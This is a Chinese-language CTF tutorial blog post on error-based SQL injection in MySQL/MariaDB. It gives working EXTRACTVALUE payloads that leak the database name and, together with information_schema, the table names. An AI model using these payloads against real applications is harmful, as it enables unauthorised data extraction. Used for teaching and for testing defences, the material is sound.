iT邦幫忙

2021 iThome 鐵人賽

DAY 12
0
Security

【CTF衝衝衝 - Web篇】系列 第 12

【第十二天 - 報錯型 SQL注入】

Q1. 什麼是 報錯型SQL注入?

  • 在一些網頁程式出錯時,會直接將錯誤訊息顯示到前端,而部分錯誤訊息會夾帶導致錯誤的資料內容,報錯型 SQL 注入便是利用此特性將資料洩漏出來。

  • 以下 SQL 函數可以構建出洩漏資料的錯誤訊息:

    • extractvalue
      • ExtractValue(xml_frag, xpath_expr)
    • updatexml
      • UpdateXML(xml_target, xpath_expr, new_xml)

參考資料:https://dev.mysql.com/doc/refman/5.6/en/xml-functions.html#function_extractvalue

Q2. 報錯型SQL注入方法?

EXTRACTVALUE(1, CONCAT(0x0a, database(), 0x0a));

https://ithelp.ithome.com.tw/upload/images/20210926/20140592hIeArk5lae.png

  • EXTRACTVALUE 可以從 XML 字串提取指定路徑的資料,此處我們可以構建出不合語法的 XPATH 路徑,使得錯誤訊息回顯資料。本例中便洩漏出了當前資料庫名稱為 CTF

搭配前天的 information_schema ,便可以在 MySQL / MariaDB 中洩漏任意資料,例如下列語法便可以洩漏出 Table 名稱。

<原 SQL 語法>
OR EXTRACTVALUE(
  1,
  CONCAT(
    0x0a, (
      SELECT GROUP_CONCAT(`TABLE_NAME`)
      FROM `information_schema`.`tables`
      WHERE `TABLE_SCHEMA` = 'CTF'
    ), 0x0a
  )
)

https://ithelp.ithome.com.tw/upload/images/20210926/20140592cGOWYz4fnY.png


上一篇
【第十一天 - 布林SQL盲注】
下一篇
【第十三天 - 時間型SQL注入】
系列文
【CTF衝衝衝 - Web篇】30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言